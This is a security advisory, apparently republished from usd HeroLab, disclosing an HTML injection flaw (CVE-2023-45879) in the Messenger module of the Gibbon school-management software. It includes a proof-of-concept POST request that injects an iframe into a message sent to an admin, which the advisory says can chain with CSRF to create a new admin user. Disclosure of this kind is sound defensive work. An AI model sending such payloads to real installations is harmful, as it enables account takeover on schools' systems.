Headline

CVE-2023-45879: usd-2023-0019 - usd HeroLab

GibbonEdu Gibbon version 25.0.0 allows HTML Injection via an IFRAME element to the Messager component.

1 year ago

#xss #csrf #vulnerability #web #php #webkit

usd-2023-0019 | HTML Injection

Advisory ID: usd-2023-0019
Product: Gibbon (https://gibbonedu.org/)
Affected Version: 25.0.00
Vulnerability Type: CWE-79
Security Risk: Medium
Vendor URL: https://gibbonedu.org
Vendor acknowledged vulnerability: Yes
Vendor Status: Fixed
CVE number: CVE-2023-45879

Desciption

Gibbon Edu is an open-source educational software designed for schools and institutions to manage their administrative and academic processes
It offers a range of features to facilitate communication, collaboration, and organization within the educational community.

A user with permissions to send messages can inject an iframe into the application.
This can be used to abuse a XSS/CSRF vulnerability in the admin backend, to create a new admin user.

The message can be send to an existing admin user. When the target opens the message, the (hidden) iframe will be embedded into the application.

Proof of Concept

To create the message, navigate to the Home > Messenger > New Message site.

Fill the form and select an admin user as reciepent. Intercept the request and change the message body to

POST /modules/Messenger/messenger_postProcess.php HTTP/1.1 Host: localhost:8080 […]

------WebKitFormBoundaryHs6JkrrxpoUfeRfX Content-Disposition: form-data; name="address"

/modules/Messenger/messenger_post.php ------WebKitFormBoundaryHs6JkrrxpoUfeRfX Content-Disposition: form-data; name="subject"

test ------WebKitFormBoundaryHs6JkrrxpoUfeRfX Content-Disposition: form-data; name="body"

<p><iframe src="http://localhost:8989/index.html"></iframe></p> ------WebKitFormBoundaryHs6JkrrxpoUfeRfX […] Content-Disposition: form-data; name="individualList[]"

0000000001 ------WebKitFormBoundaryHs6JkrrxpoUfeRfX–

As shown in the screenshot below, the iframe is injected into the message.

Fix

It is recommended to treat all input on the website as potentially dangerous.

References

https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/03-Testing_for_HTML_Injection

Timeline